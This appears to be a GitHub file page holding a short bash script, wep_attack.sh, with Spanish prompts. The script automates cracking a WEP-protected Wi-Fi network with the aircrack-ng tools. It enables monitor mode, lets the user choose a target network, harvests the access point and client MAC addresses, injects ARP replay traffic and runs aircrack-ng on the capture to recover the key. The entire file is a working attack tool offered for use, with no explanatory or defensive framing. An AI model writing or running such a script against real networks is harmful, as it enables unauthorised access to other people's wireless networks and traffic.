-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathwep_attack.sh
50 lines (35 loc) · 1.24 KB
/
wep_attack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/bash
if [ $# -eq 1 ]; then
interfaz=$1
echo "[+] Lenvantando la interfaz $interfaz a modo monitor....."
airmon-ng check kill
airmon-ng start $interfaz
echo "[+] Busca la red a vulnerar: "
rm archivo &>/dev/null
gnome-terminal -- airodump-ng wlan0mon -w archivo --output-format csv &
read ssid
channel=$(cat archivo-01.csv | grep "$ssid" | awk '{print $6}' | tr -d ',')
mac=$(cat archivo-01.csv | grep "$ssid" | awk '{print $1}' | tr -d ',')
echo "[+] $interfaz $channel $mac"
rm archivo* &>/dev/null
gnome-terminal -- airodump-ng --channel $channel --bssid $mac wlan0mon -w archivo --output-format csv
#sleep 5
mac_cliente=$(cat archivo-01.csv | tail -n 2 | awk '{print $1}' | tr -d ',')
rm archivo* &>/dev/null
echo $mac_cliente
#ifconfig
xterm -hold -e airodump-ng --channel $channel --bssid $mac --write wep_crack wlan0mon &
sleep 5
xterm -hold -e aireplay-ng --arpreplay -h "$mac_cliente" -b "$mac" wlan0mon &
sleep 130
aircrack-ng -b "$mac" wep_crack-01.cap
rm wep_crack* &>/dev/null
rm replay* &>/dev/null
airmon-ng stop wlan0mon
service NetworkManager restart
else
echo "[!] Ejecutar asi:"
echo -e "\tsudo ./wep_attack.sh interfaz"
echo "[+] Interfaces: "
ifconfig | grep ": f" | awk '{print $1}' | tr -d ':'
fi